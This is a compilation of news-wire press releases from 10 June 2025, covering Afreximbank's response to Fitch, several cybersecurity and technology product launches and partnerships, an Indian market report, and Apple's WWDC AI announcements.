    • Fitch’s ‘negative outlook’ decision, which it says reflects “the risk that the debt owed to Afreximbank by some of its sovereign borrowers may be restructured”, is hinged on the erroneous view, in some quarters, that the treaty establishing Afreximbank, executed by its 53 participating African states, can be violated by the Bank without consequences. For clarity, the Bank establishment agreement is a treaty entered into by, and among, all participating states and between the participating states and the Bank. Accordingly, Afreximbank would like to reaffirm that it is not participating in debt restructuring negotiations related to any of its member countries. To do so would be inconsistent with the Bank establishment treaty. The treatment of its loans and other activities is governed by the treaty and not by classifications created outside its framework.
    • Afreximbank’s financial resilience, robust governance and unwavering commitment to excellence, and to Africa, are critical to the delivery of its mandate. The Bank remains committed to supporting its member countries in navigating their economic challenges while promoting trade-led growth, economic development and general macroeconomic stability.

    Distributed by APO Group on behalf of Afreximbank.

    Statement by African Export-Import Bank (Afreximbank) on recent Fitch Ratings Report Fitch also acknowledges the Bank’s strong capitalization including its “strong equity to assets and guarantees ratio” and “excellent internal capital generation” CAIRO, Egypt, June 10, 2025/APO Group/ —

    • Afreximbank (www.Afreximbank.com) operates under very high standards of financial transparency. The Bank’s financial reporting strictly adheres to International Financial Reporting Standards (IFRS), including IFRS 9. This standard governs the classification and staging of loan performance, including the treatment of non-performing loans, amongst other matters. The Bank’s application of IFRS 9 is comprehensively detailed in its 2024 Financial Statements and further clarified in the external auditors’ report. As cited in the ratings report, dated 4 June 2025, “Fitch’s definition of NPLs differs from the Bank’s approach, which makes use of forward-looking information”.
    • It is important to note that Fitch acknowledges Afreximbank’s financial resilience, highlighting that “the bank operates with a high level of collateral and credit risk mitigants and has already taken relatively large provisions on some sovereign exposures, which would reduce any potential further negative financial impact for the bank”.
    • Fitch also acknowledges the Bank’s strong capitalization including its “strong equity to assets and guarantees ratio” and “excellent internal capital generation”.  Concentration risk is also reported as “low” and its liquidity assessment of “a” reflects the Bank’s “strong quality of treasury assets”. The Bank believes that these factors reinforce the overall soundness of the Bank’s risk management framework.
    • Fitch’s ‘negative outlook’ decision, which it says reflects “the risk that the debt owed to Afreximbank by some of its sovereign borrowers may be restructured”, is hinged on the erroneous view, in some quarters, that the treaty establishing Afreximbank, executed by its 53 participating African states, can be violated by the Bank without consequences. For clarity, the Bank establishment agreement is a treaty entered into by, and among, all participating states and between the participating states and the Bank. Accordingly, Afreximbank would like to reaffirm that it is not participating in debt restructuring negotiations related to any of its member countries. To do so would be inconsistent with the Bank establishment treaty. The treatment of its loans and other activities is governed by the treaty and not by classifications created outside its framework.
    • Afreximbank’s financial resilience, robust governance and unwavering commitment to excellence, and to Africa, are critical to the delivery of its mandate. The Bank remains committed to supporting its member countries in navigating their economic challenges while promoting trade-led growth, economic development and general macroeconomic stability.

    Distributed by APO Group on behalf of Afreximbank. Media Contact: Vincent Musumba Communications and Events Manager (Media Relations) Email: press@afreximbank.com Website: www.Afreximbank.com

    Text copied to clipboard.

    MIL OSI Africa –

    June 10, 2025
  • MIL-OSI Submissions: Tech – Thales Launches File Activity Monitoring (FAM) to Strengthen Real-Time Visibility and Control Over Unstructured Data

    Source: Thales

    • New capability gives instant visibility to detect misuse, enforce compliance, and strengthen data protection across on-premises, hybrid, and multicloud environments.
    • Continuous data discovery, classification, and monitoring forms the foundation of effective Data Security Posture Management, while simplifying compliance and flagging unauthorized activities that lead to data exposure.  
    • FAM’s built-in GenAI tools and centralized management streamlines audit reporting, accelerates threat response, reduces operational complexity across enterprise data lifecycle.

    MEUDON, France – Thales today announced the launch of Thales File Activity Monitoring, a powerful new capability within the Thales CipherTrust Data Security Platform that enhances enterprise visibility and control over unstructured data, enabling organizations to monitor file activity in real time, detect misuse, and ensure regulatory compliance across their entire data estate. As the only integrated platform provider that secures structured and unstructured data, Thales provides comprehensive monitoring and auditability for data types that were previously difficult to track.

    In today’s evolving threat landscape, organizations must gain tighter control over unauthorized access and misuse of unstructured data, which according to IDC represents 90% of all worldwide data. File Activity Monitoring enables security teams to analyze and monitor the activity of unstructured data, including unexpected copying, downloading, and sharing of files such as emails, chat logs, media files, and application logs that can contain sensitive data. Real-time alerts, analytics, and encryption tracking further accelerate threat insights and protect sensitive data across the enterprise. This reduces exposure risks, supports compliance with standards like GDPR, HIPAA, and PCI DSS, and strengthens organizations’ overall data security posture.

    “Thales’ innovative approach to File Activity Monitoring tackles key challenges like blind spots in hybrid environments, offering real-time visibility and smart anomaly detection — a potential game-changer for teams overwhelmed by false positives. By striking the right balance of depth and simplicity, FAM shows promise in helping us strengthen the SOC without added complexity. With tighter SIEM integration, it can sharpen response and let teams focus on what matters most. We’re excited to see how FAM evolves and enhances our data security,” Leila KUNTAR, Principal Information Security Engineer, Amadeus, said.

    “As unstructured data grows rapidly across distributed environments, organizations need more integrated ways to track and safeguard their most sensitive information,” Todd Moore, Vice President of Data Security Products at Thales, said. “With File Activity Monitoring, Thales reinforces its leadership in enterprise data security by delivering real-time insight, intelligent automation, and unified visibility through a single, powerful platform.”

    Thales has been a leader in digital security for decades in structured database activity. Building on this extensive expertise, customers can expect the same world-class experience that they’ve had with Thales, now extended to encompass unstructured data protection.

    File Activity Monitoring strengthens DSPM by enabling security teams to:

    • Discover, classify, observe, and control sensitive data across on-premises, hybrid, and multicloud environments
    • Pinpoint where sensitive data resides, who has access, and whether it’s properly secured, in real time, allowing detection of suspicious behavior including unauthorized copying, downloading, or sharing
    • Transform static classification into dynamic risk intelligence through behavioral context
    • Apply strong encryption and other remediation techniques, including reconstruction of incidents quickly with audit logs in the event of a breach or policy violation and enabling strong encryption, to protect compromised or at-risk data.

    Built-in GenAI tools simplify audits, boost response, and cut complexity

    To further simplify compliance and security operations, File Activity Monitoring includes a Generative AI-powered Data Security Assistant. This integrated chatbot helps teams query audit data, generate custom reports, and streamline compliance workflows, reducing the burden on IT and security professionals and making it easier to meet regulatory obligations.

    “As technology evolves rapidly, our controls must be flexible enough to keep pace without adding complexity,” Moore said. “Automation and intelligence help overwhelmed security teams scale operations and focus on what matters most. With tools like our chatbot, they can ask natural language questions and get instant, actionable answers, accelerating response times and improving operational efficiency.”

    About Thales

    Thales (Euronext Paris: HO) is a global leader in advanced technologies for the Defence, Aerospace, and Cyber & Digital sectors. Its portfolio of innovative products and services addresses several major challenges: sovereignty, security, sustainability and inclusion.

    The Group invests more than €4 billion per year in Research & Development in key areas, particularly for critical environments, such as Artificial Intelligence, cybersecurity, quantum and cloud technologies.

    Thales has more than 83,000 employees in 68 countries. In 2024, the Group generated sales of €20.6 billion.

    MIL OSI – Submitted News –

    June 10, 2025
  • MIL-OSI: LightSolver and HLRS Present Joint Research on Optical Computing at ISC High Performance 2025

    Source: GlobeNewswire (MIL-OSI)

    TEL AVIV, Israel, June 10, 2025 (GLOBE NEWSWIRE) — LightSolver, inventors of a new laser-based computing paradigm, and HLRS (High-Performance Computing Center Stuttgart) today announced the joint presentation of their co-authored, peer-reviewed research paper, “Exploring QUBO on LPUs for Engineering,” at this week’s ISC High Performance 2025 conference in Hamburg, Germany. The presentation will take place this Friday, June 13th during the 4th HPC on Heterogeneous Hardware (H3) workshop, on the first floor of Hall X6 from 2:00-6:00pm.

    With HPC simulations demanding immense computational power, emerging specialized processors like LightSolver’s Laser Processing Unit™ (LPU) offer a promising path toward reducing total time to solution and improving energy efficiency. This is reflected in the research paper, which explores the use of the LPU to address mesh decomposition, a common task in Computer-Aided Engineering (CAE). It will be presented by Dr. Dan Gluck, senior algorithm researcher for LightSolver, and Dr. Johannes Gebert, deputy director at HLRS and group lead for future computing.

    Mesh decomposition is the process of breaking down a complex 3D mesh (a collection of vertices, edges, and faces that define the shape of a 3D object) into simpler subcomponents. This technique is widely used in computer graphics, geometry processing, 3D modeling, finite element analysis, and robotics. For their research, LightSolver and HLRS used Direct Tensor Computation, a biomechanical application in which mathematical operations are performed directly on multi-dimensional arrays called tensors, rather than being broken down into simpler components. The team converted the mesh decomposition into a QUBO (Quadratic Unconstrained Binary Optimization) formulation and ran it on the LPU emulator, developing a methodology and proving that mesh decomposition could be addressed by an optical computing platform.

    “We are proud to present our joint research with HLRS, which highlights how optical computing can address common bottlenecks in engineering software,” said Ruti Ben Shlomi, CEO of LightSolver. “To crack current performance limits and achieve greater energy efficiency, it is crucial for industry and research to partner and examine novel computing paradigms. This initial paper has demonstrated the feasibility of running a mesh decomposition on our optical processor, the LPU. We’re looking forward to deepening our collaboration with HLRS and presenting practical pathways for integrating specialized processors into heterogeneous computing frameworks.”

    The H3 Workshop provides a platform for pioneering work in algorithmic research, software libraries, programming models, and workflows designed for increasingly heterogeneous hardware environments. The presentation by LightSolver and HLRS aligns with the workshop’s mission to explore new paradigms and strengthen the bridge between software and specialized hardware in HPC.

    About LightSolver
    LightSolver is a photonics computing company that is developing an all-optical supercomputer capable of solving complex and large computational problems at the speed of light.” Utilizing the interference patterns of lasers, the Laser Processing Unit™ (LPU) can tackle challenges that were previously constrained by the limits of electronics, while fitting into a rack unit and operating at room temperature. Dr. Ruti Ben-Shlomi and Dr. Chene Tradonsky, physicists from the world-renowned Weizmann Institute, founded the company in 2020. More than 2/3 of the team are physics, math and computer science PhDs. LightSolver has secured investment from TAL Ventures, Entree Capital, IBI Tech Fund, Angular Ventures, Maverick, and Artofin. The company has also received a €12.5M grant from the European Innovation Council (EIC) to advance its all-optical supercomputer. Connect with LightSolver @LightSolverCo on X and on LinkedIn. For more information, visit lightsolver.com or email info@lightsolver.com. 

    Media Contact:
    Seth Menacker
    Fusion PR
    lightsolver@fusionpr.com

    The MIL Network –

    June 10, 2025
  • MIL-OSI: Nokia and Leonardo partner to deliver worldwide mission-critical private wireless networks for public safety and critical infrastructures

    Source: GlobeNewswire (MIL-OSI)

    Nokia and Leonardo partner to deliver worldwide mission-critical private wireless networks for public safety and critical infrastructures

    • Leonardo’s Mission Critical Services platform (MC_linX) will be integrated into Nokia’s Core Enterprise Solutions.
    • The integrated solution will enable real-time communication, emergency response, and situational awareness for public safety, power utilities, and railways.

    10 June 2025
    Espoo, Finland – Nokia today announced a partnership with Leonardo, a global leader in Aerospace, Defense, and Security, to deliver cutting-edge mission-critical services worldwide integrated into Nokia’s Core Enterprise Solutions. The solid collaboration strengthens Nokia’s leadership in secure and scalable private wireless connectivity for essential services like public safety and industrial segments such as energy and railways that demand the highest performance, resilience, and reliability levels.

    Nokia will embed Leonardo’s flagship Mission Critical Services platform MC_linX a next-generation broadband mission-critical services platform, into Nokia’s enterprise solutions portfolio. This technology combination will deliver worldwide a pre-integrated solution that accelerates deployment, reduces complexity, and ensures operational readiness. It also enables faster emergency response, increasing operational safety, and improving service reliability – ultimately benefiting communities and essential services worldwide.

    “By combining Nokia’s robust private wireless and core software capabilities with Leonardo’s trusted mission-critical technologies, we are delivering a seamless solution that meets the stringent demands of industries like public safety, energy, and rail. This partnership demonstrates our commitment to empowering critical infrastructure with secure, real-time, resilient communication solutions,” said Prakash Sagadopan, Head of Enterprise Wide Area Networks, Nokia.

    “We are thrilled that Nokia selected Leonardo’s MC_linX for the integration into their Core Enterprise Solutions after an in-depth competitive process. Leveraging the high scalability and reliability of our Mission Critical Services platform together with Nokia we provide an entirely made in Europe, unparalleled communication ecosystem for Public Safety and Critical Infrastructures,” said Claudio Rando, SVP Marketing & Sales, Leonardo Cyber & Security Solutions Division.

    Fully compliant with 3GPP standards, the MC_linX platform enables mission-critical push-to-talk, video, and data services over private and commercial LTE/5G networks, supporting real-time communication, enhanced situational awareness, and fast, coordinated responses. Nokia’s Core Enterprise Solutions offer customized, low-footprint core modules optimized for mission-critical communications in public safety, utilities, and railway operations.

    About Nokia
    At Nokia, we create technology that helps the world act together. 

    As a B2B technology innovation leader, we are pioneering networks that sense, think and act by leveraging our work across mobile, fixed and cloud networks. In addition, we create value with intellectual property and long-term research, led by the award-winning Nokia Bell Labs, which is celebrating 100 years of innovation.

    With truly open architectures that seamlessly integrate into any ecosystem, our high-performance networks create new opportunities for monetization and scale. Service providers, enterprises and partners worldwide trust Nokia to deliver secure, reliable and sustainable networks today – and work with us to create the digital services and applications of the future.

    About Leonardo
    Leonardo is an international industrial group, among the main global companies in Aerospace, Defence, and Security (AD&S). With 60,000 employees worldwide, the company approaches global security through the Helicopters, Electronics, Aeronautics, Cyber & Security and Space sectors, and is a partner on the most important international programmes such as Eurofighter, JSF, NH-90, FREMM, GCAP, and Eurodrone. Leonardo has significant production capabilities in Italy, the UK, Poland, and the USA. Leonardo utilises its subsidiaries, joint ventures, and shareholdings, which include Leonardo DRS (71.6%), MBDA (25%), ATR (50% ), Hensoldt (22.8%), Telespazio (67%), Thales Alenia Space (33%), and Avio (29.6%). Listed on the Milan Stock Exchange (LDO), in 2024 Leonardo recorded new orders for €20.9 billion, with an order book of €44.2 billion and consolidated revenues of €17.8 billion. Included in the MIB ESG index, the company has also been part of the Dow Jones Sustainability Indices (DJSI) since 2010.

    Leonardo’s expertise in the mission critical communications sector relies on several decades of successful design, supply, delivery and service of mission critical networks, ranging from Land Mobile Radio systems to the next-generation broadband systems for Public Safety and Critical Infrastructures.

    Multimedia, technical information and related news
    Web Page:

    Media inquiries
    Nokia Press Office
    Email: Press.Services@nokia.com

    Follow Nokia on social media
    LinkedIn X Instagram Facebook YouTube

    The MIL Network –

    June 10, 2025
  • MIL-OSI: Zero Trust Security Reduces Cyber Insurance Claims, Preventing up to $465 Billion Annually in Global Economic Loss from Cyber Attacks

    Source: GlobeNewswire (MIL-OSI)

    • Nearly a third of the cyber events encompassed by the study potentially could have been prevented if zero trust was deployed, assuming proper cyber security hygiene was also applied
    • Companies can limit the risk of a damaging cyber incident by deploying zero trust, potentially reducing insured cyber loss by up to 31% annually

    SAN JOSE, Calif., June 10, 2025 (GLOBE NEWSWIRE) — Zscaler, Inc. (NASDAQ: ZS), the leader in cloud security, today published a special report, examining the number of cyber incident insurance claims that potentially could have been avoided if the victim organization had deployed a zero trust architecture. Using the Marsh McLennan Cyber Risk Intelligence Center’s proprietary cyber losses dataset from the past eight-years, which collates cyber incidents from past claims, researchers estimated that overall cyber losses could have been potentially reduced by up to 31% had the organizations widely deployed zero trust security. This adds up to a projected reduction of up to $465 billion in global annual total economic losses.

    The analysis showed that North America experienced significantly more cyber incidents than the rest of the world during the past eight-year period, experiencing almost four times the amount of European cyber incidents. However, of the total incidents encompassed by the study, the percentage of attacks that potentially could have been mitigated by zero trust was greater internationally, with 41% of European events assessed as potentially preventable through zero trust architecture compared to 31% of events in North America.

    Scott Stransky, Managing Director and Head of the Marsh McLennan Cyber Risk Intelligence Center, said: “Being able to quantify the cost associated with the lack of zero trust implementation has not been previously investigated. The figure demonstrates the value and benefit of such controls, and highlights the potential benefits of greater cyber hygiene across industries.”

    The report highlighted that the rise in ransomware incidents, which increased 126% in a single year, has elevated the proportion of events that zero trust could have mitigated globally. From a size perspective, companies with over $1 billion in annual revenue stood to benefit the most from zero trust implementation, with 60% of attacks being deemed mitigable.

    Stephen Singh, Global Vice President, M&A/Divestiture and Cyber Risk, Zscaler, said: “This report underscores the importance of recognizing Zero Trust as a fundamental cybersecurity control that fortifies cyber hygiene. With the external attack surface identified as a key predictor of potential breaches, adopting Zero Trust and phasing out outdated, high-risk technologies such as firewalls and VPNs, shows a dramatic reduction in risk exposure.”

    Zero trust significantly increases the security of enterprise IT infrastructure and limits the ability for attackers to cause widespread and costly damage, by requiring continuous verification of every user, application, and device accessing an enterprise.

    Darin Hurd, CISO at Guaranteed Rates, commented: “We now have independent validation that zero trust offers significant benefits for cyber security practitioners responsible for mitigating business risk – companies that prioritize zero trust investments gain a significant edge as cyber defenders.”

    Some Zscaler customers are already receiving more favorable policies when partnering with cyber insurance underwriters, using Zscaler to accurately quantify business risk. Risk360, a part of the Zscaler Zero Trust ExchangeTM security platform, is a powerful cyber risk quantification service that streamlines cyber insurance applications and renewals.

    Built on Zscaler’s powerful Data Fabric for Security, Risk 360 provides organizations with a comprehensive and accurate cyber risk profile. With more than 50 million devices using Zscaler agents to collect and share telemetry, the platform provides in-depth visibility across an IT estate, enabling customers to share their zero trust adoption during the underwriting process.

    Download the full version of the special report now to dive further into the data.

    About Zscaler

    Zscaler (NASDAQ: ZS) accelerates digital transformation so customers can be more agile, efficient, resilient, and secure. The Zscaler Zero Trust Exchange™ platform protects thousands of customers from cyberattacks and data loss by securely connecting users, devices, and applications in any location. Distributed across more than 160 data centers globally, the SASE-based Zero Trust Exchange™ is the world’s largest in-line cloud security platform.

    Media Contact
    Nick Gonzalez
    Sr. Manager, Media Relations
    press@zscaler.com

    The MIL Network –

    June 10, 2025
  • MIL-OSI: SEON Launches AI-Powered Anti-Money Laundering Suite, Enhancing its Comprehensive Command Center for Risk Management

    Source: GlobeNewswire (MIL-OSI)

    AUSTIN, Texas, June 10, 2025 (GLOBE NEWSWIRE) — SEON, a global leader in digital fraud prevention, announced the launch of its expanded Anti-Money Laundering (AML) Compliance suite, a significant step in the company’s evolution from fraud prevention to a unified risk solution. This release introduces real-time AI-powered capabilities, including Payment Screening, Transaction Monitoring and integrated fraud and AML Case Management with regulatory reporting filling functionalities.

    SEON’s 2025 Digital Fraud Outlook reveals real-time transaction monitoring is the top investment priority for compliance and fraud teams this year — with 62% of organizations making this shift. To meet this demand, SEON’s AML suite delivers granular, real-time monitoring alerts that reduce false positives and improve detection accuracy across both fraud and AML use cases.

    “We already use SEON as a key part of how we manage fraud risk at Casumo,” said Sebastian Brant, Director of CEX, Casumo. “They bring depth in proprietary risk signals we can’t get anywhere else, flexible tools that we can adapt to any scenario and a level of customer service responsiveness and expertise we simply haven’t seen elsewhere. We see the significant value of having one system that can help teams operate more efficiently and effectively.”

    SEON serves as the unified solution for teams managing both fraud and AML compliance, helping them detect risks proactively, resolve cases faster and keep records audit-ready — all without navigating between different systems, eliminating manual steps or working off spreadsheets.

    “Risk teams don’t need more tools — they need one that gives them a full picture,” said Tamas Kadar, Co-Founder and CEO, SEON. “This launch gives fraud and compliance teams a multi-dimensional command center to manage risk in one place. And because we own our data pipeline and can control data accuracy, this means our models deliver more accurate risk decisions.”

    Built for the Way Risk and Compliance Work Today

    Most risk teams are using legacy solutions that were not designed to support real-time decisions, instead relying on batch processing, leading to delayed reviews, siloed data and scattered case files with no audit trail. SEON replaces that with a single solution where fraud and AML data work together — giving teams a holistic view with more context, less noise and quicker paths to action.

    Developed through customer collaboration, SEON’s AML Compliance solution applies the same real-time capabilities, data quality and limitless customization that SEON is known for to compliance use cases, helping teams tailor risk programs to new products, regulatory jurisdictions, internal policies and evolving risks.

    Key Capabilities

    • Spot bad actors early with digital footprint and fraud signals before users enter KYC or AML checks
    • Expedite reviews with AI-assisted customer screening that helps analysts resolve hits faster
    • Detect risks instantly with real-time transaction monitoring and payment screening
    • Investigate efficiently and close out cases faster with unified fraud intelligence, AML signals and transaction data in one dashboard
    • Reduce time spent on regulatory reporting with autofill capabilities and AI-powered SAR narratives
    • Submit SAR, CTR, and Form 8300 reports to FinCEN in one click, with status tracking and audit history; with expansion in progress to other regulatory bodies
    • Lean on expert support from SEON’s Managed Risk Services team, offering guidance and rule management for leaner teams

    About SEON
    SEON helps risk teams detect and stop fraud and money laundering while ensuring regulatory compliance. By combining real-time digital footprint analysis, device intelligence and AI-driven rules, SEON empowers thousands of businesses globally to prevent threats before they occur. With integrated fraud prevention and AML capabilities, SEON operates from Austin, London, Budapest and Singapore. Learn more at seon.io.

    Media
    Press@seon.io

    The MIL Network –

    June 10, 2025
  • MIL-OSI New Zealand: Education – Ara researchers publish groundbreaking work on AI in vocational education

    Source: Ara Institute of Canterbury

    Ara Institute of Canterbury is celebrating the publication of a pioneering book that reframes the role of artificial intelligence (AI) in education, shifting the narrative from plagiarism prevention to unlocking its potential for better learning.
    AI in Vocational Education and Training, published by Springer Nature, brought together a multi-disciplinary group of educators and researchers from Ara and Otago Polytechnic to critically explore the use of AI-supported learning across a wide range of vocational education contexts.
    The book was edited by Dr Selena Chan, an Ara Education Developer and previous Ako Aotearoa Prime Minister’s Supreme award winner for excellence in tertiary teaching. The collection presents practical insights and research-backed strategies for integrating teaching and learning to improve student success.
    Dr Chan said the book offers a roadmap for using AI tools effectively in vocational education and training (VET).
    “It also addresses ethical concerns, ensuring AI supports learning rather than undermine academic integrity,” she said.
    While the arrival of AI-powered natural language chatbots such as ChatGPT have sparked widespread debate about plagiarism, Dr Chan said the book offers an alternative perspective – highlighting AI’s enormous potential to support deeper engagement, critical thinking and independent analysis.
    Covering disciplines from construction management and graphic design to nursing and business, the book also highlights a significant project exploring how AI can be adapted to support neurodivergent learners.
    Dr Chan said educational developers, learning designers, tutors and senior students collaborated on designing AI-supported activities that not only engage learners but also foster independent analysis and strengthen practical application skills.
    She wanted to acknowledge the invaluable input of ākonga (students) in the research, “without whom the work would not have been completed,” as well as the support of Scott Klenner who is both Ara’s Research Manager and the Director of Rangahau, Research and Postgraduate Studies at Otago Polytechnic. “Scott’s guidance on inclusivity, rangahau (Māori research) and the incorporation of mātauranga Māori (Māori knowledge) in research design was invaluable.
    Klenner said the publication highlighted the two institutes’ leadership in applying AI to vocational education in New Zealand. He commended “our academics’ te hinengaro me te ringa mahi (thinking and work) for producing leading research, with an international publisher, exploring the most significant evolution of education this century”.
    With case studies, guidelines and frameworks, the book provides a valuable resource for educators and policymakers working to future-proof vocational education in Aotearoa New Zealand.
    Notes: 
    Dr Chan is an educational developer, academic capability leader and co-editor of the International Journal of Training Research. She has published extensively on vocational education and technology-enhanced learning and received the Ako Aotearoa Prime Minister’s Supreme Award in 2007 for teaching excellence.
    Access more information on the book:  Artificial Intelligence in Vocational Education and Training: Understanding Learner and Teacher Perspectives on the Integration of Generative AI through Participatory Action Research | SpringerLink

    MIL OSI New Zealand News –

    June 10, 2025
  • MIL-OSI: Dai-ichi Life Group and Capgemini sign multi-year agreement to establish a Global Capability Center in India to drive international digital transformation

    Source: GlobeNewswire (MIL-OSI)

    Press contact:
    Pek Kee Sum
    Tel.: +65 89 40 71 98
    E-mail: pek-kee.sum@capgemini.com

    Dai-ichi Life Group and Capgemini sign multi-year agreement to establish a Global Capability Center in India to drive international digital transformation

    Singapore, June 10, 2025 – Capgemini and Dai-ichi Life Holdings, today announced the signing of a multi-year agreement to establish a Global Capability Center (GCC) in India.

    This landmark agreement is poised to accelerate Dai-ichi Life Group’s digital transformation globally. The GCC aims to tap into India’s deep pool of skilled professionals to support and enhance its IT and digital strategies. As a result, Dai-ichi Life Group’s goal is to significantly strengthen its in-house digital capabilities and technology platforms, driving innovation and operational efficiency on a global scale.

    This strategic collaboration with Capgemini, which initially spans Japan, the United States, and Australia, will leverage a broad spectrum of the GCC’s digital capabilities including advanced software development, infrastructure modernization, AI & data solutions, and robust cybersecurity measures. It is designed with the flexibility to expand into other countries based on market needs and potential, to support the global ambitions of Dai-ichi Life Group.

    “This strategic partnership with Capgemini supports our long-term ambition to build differentiated, internal capabilities through the establishment of our Global Capability Center,” said Tetsuya Kikuta, President and CEO at Dai-ichi Life Holdings. “By adopting a Build-Operate-Transfer model, we are not only accelerating our digital transformation but also laying the foundation for in-house expertise in critical areas such as AI, data, and cybersecurity. This approach sets us apart and strengthens our ability to deliver innovative, high-impact solutions across the Dai-ichi Life Group.”

    Capgemini will bring its end-to-end capabilities at scale, including its strong presence and delivery track record in Japan, the Asia Pacific region and globally, to enable Dai-ichi Life Group’s transformation agenda. The partnership will focus on co-innovating solutions that streamline operations, harness the power of data analytics and artificial intelligence, and fortify cybersecurity defenses, all while helping to ensure a seamless and enhanced experience for Dai-ichi Life Group’s customers.

    “This strategic collaboration with Dai-ichi Life Group, a distinguished leader in the insurance sector, comes at a crucial time for the industry. Today, customer service remains one of the most powerful tools for encouraging loyalty and shaping brand perception, and this is increasingly enabled through technology,” said Aiman Ezzat, Chief Executive Officer at Capgemini. “This partnership is built on a shared vision to leverage technology and innovation to not only meet but exceed consumer expectations. By combining Dai-ichi Life’s deep industry knowledge with Capgemini’s global business and technology transformation expertise, including our proven ability to deliver complex solutions, our partnership will help unlock new value for the Dai-ichi Life Group and set new benchmarks in customer service and operational efficiency.”

    About Capgemini
    Capgemini is a global business and technology transformation partner, helping organizations to accelerate their dual transition to a digital and sustainable world, while creating tangible impact for enterprises and society. It is a responsible and diverse group of 340,000 team members in more than 50 countries. With its strong over 55-year heritage, Capgemini is trusted by its clients to unlock the value of technology to address the entire breadth of their business needs. It delivers end-to-end services and solutions leveraging strengths from strategy and design to engineering, all fueled by its market leading capabilities in AI, generative AI, cloud and data, combined with its deep industry expertise and partner ecosystem. The Group reported 2024 global revenues of €22.1 billion.
    Get The Future You Want | www.capgemini.com

    About Dai-ichi Life Group
    Dai-ichi Life Group was founded in 1902 as Japan’s first mutual life insurance company. It became a joint-stock company and was listed on the stock exchange in 2010, before transitioning to a holding company structure in 2016. The Group has since expanded its operations globally, including across the Asia-Pacific region and North America, and now serves over 50 million customers while managing approximately USD 430 billion in consolidated assets. Our IT and Digital strategies enable us to innovate, improve efficiency, and enhance customer experience, while driving long-term growth and sustainability.
    By your side, for life | www.dai-ichi-life-hd.com

    Attachment

    • 2025_06_10_Capgemini and Dai-ichi Life Group sign multi-year agreement

    The MIL Network –

    June 10, 2025
  • Market trade flat after early gains; US-China talks in focus

    Source: Government of India

    Source: Government of India (4)

    Equity benchmarks opened higher on Tuesday, extending their winning streak for a fifth consecutive session, but pared early gains to trade largely flat as investors awaited the outcome of key US-China talks.

    At 9:17 a.m., the BSE Sensex was up 28.49 points or 0.03% at 82,473.70, while the NSE Nifty rose 21.15 points or 0.08% to 25,124.35.

    Technology, metal, and media stocks led sectoral gains, while banking counters witnessed mild selling pressure amid profit booking. Broader markets outperformed, with both midcap and smallcap indices rising up to 0.5%, reflecting broader participation.

    Akshay Chinchalkar, Head of Research at Axis Securities, said Monday’s performance was a continuation of Friday’s breakout. “Whether the index is breaking out of a pennant or a rectangle pattern, the implication is bullish with a target of 25,800. The 25,200 level is crucial on the upside, and as long as the index holds above 24,800, the momentum remains with the bulls,” he said, adding that the outcome of US-China talks could be the next major trigger.

    Vikram Kasat, Head of Advisory at PL Capital, said while efforts to ease tensions between the US and China are welcome, a comprehensive deal could take longer to materialise. “Investors are also eyeing progress on agreements with other trading partners,” he added.

    Analysts noted that with valuations stretched after the recent rally, selective profit booking may be prudent to guard against potential volatility.

    Globally, Wall Street ended marginally higher on Monday, supported by gains in Amazon and Alphabet, as markets closely monitored developments in US-China negotiations. Asian shares also edged up on hopes of a positive outcome.

    On the institutional front, foreign institutional investors (FIIs) continued to support the market, buying equities worth ₹1,992 crore on Monday. Domestic institutional investors (DIIs) were net buyers for the 15th straight session, purchasing stocks worth ₹3,503 crore.

    — IANS

    June 10, 2025
  • India’s youth driving innovation and nation-building: Speaker Om Birla at IIT Jodhpur

    Source: Government of India

    Source: Government of India (4)

    Lok Sabha Speaker Om Birla on Monday emphasized the pivotal role of Indian youth in shaping the nation’s progress, stating that India is emerging as a global leader in addressing contemporary challenges through the strength of its young talent and technological innovation.

    Speaking at the Indian Institute of Technology (IIT), Jodhpur, Birla lauded the contribution of India’s youth in propelling social, economic, and technological advancement, and urged them to continue harnessing cutting-edge technology for the betterment of the nation.

    Birla noted that the youth of India are increasingly transitioning from job seekers to job creators, with IITs playing a crucial role in this transformation. “Graduates from IITs have significantly contributed to strengthening the country’s startup ecosystem and economic development,” he said.

    Birla added that the global demand for skilled and innovative Indian youth is a testament to their growing impact, and encouraged them to become active stakeholders in the journey towards a Viksit Bharat.

    During his visit, the Lok Sabha Speaker inaugurated the state-of-the-art Lecture Hall Complex – II at IIT Jodhpur. He emphasized the importance of integrating modern scientific advancements with India’s rich spiritual heritage, stating that this balanced approach promotes ethical, inclusive, and sustainable growth. “India is moving forward by combining its scientific capabilities with spiritual wisdom, charting a path toward holistic national advancement,” Birla said.

    The LS Speaker also highlighted India’s strides in achieving self-reliance across various sectors — from manufacturing toys to producing defence equipment — and said that the country’s robust digital ecosystem has further fueled the vision of Atmanirbhar Bharat.

    Praising the contribution of IITs in advancing technical education, Birla asserted that every college and university in India should strive to become a hub of innovation and excellence. He called upon higher education institutions to move beyond conventional teaching and foster creativity, research, entrepreneurship, and industry collaboration to drive India’s growth in science and technology.

    “IIT students have enhanced India’s global stature by combining modern technology with Indian thinking and a fresh perspective,” he noted. Birla added that academic spaces should evolve into dynamic ecosystems where ideas are nurtured, talents are shaped, and future leaders are created.

    Referring to IIT Jodhpur’s transformative journey, Birla commended the institute for its pioneering role in global research, innovation, and cultivating scientific temper. He praised the efforts of Director Prof. Avinash K. Agarwal and the institute’s contributions in areas like defence technology and sustainable development in line with the vision of Viksit Bharat 2047.

    Despite being located in a geographically challenging region, the institute has emerged as a beacon of progress, empowering young minds with access to world-class education and innovative thinking, Birla added.

    Birla also distributed ‘Research Initiative Grants’ to support innovation-related projects at the institute. Additionally, he launched IIT Jodhpur’s new official website and planted a sapling on the campus as a symbolic gesture of sustainable growth.

    June 10, 2025
  • Apple opens its AI to developers but keeps its broader ambitions modest

    Source: Government of India

    Source: Government of India (4)

    Apple AAPL.O announced on Monday a slew of artificial intelligence features including opening up Apple Intelligence’s underlying technology in a modest update of its software and services as it lays the groundwork for future advances.

    The presentations at its annual Worldwide Developers Conference focused more on incremental developments, including live translations for phone calls, that improve everyday life rather than the sweeping ambitions for AI that Apple’s rivals are marketing.

    A year after it failed to deliver promised AI-based upgrades to key products such as Siri, Apple kept its AI promises to consumers low-key, communicating that it could help with tasks like finding where to buy a jacket similar to one they have seen online.

    Behind the scenes, Apple hinted at a strategy of offering its own tools to developers alongside those from rivals, similar to a strategy by Microsoft last month. Apple software chief Craig Federighi said the company will offer both its own and OpenAI’s code completion tools in its key Apple developer software and that the company is opening up the foundational AI model that it uses for some of its own features to third-party developers.

    “We’re opening up access for any app to tap directly into the on-device, large language model at the core of Apple,” Federighi said.

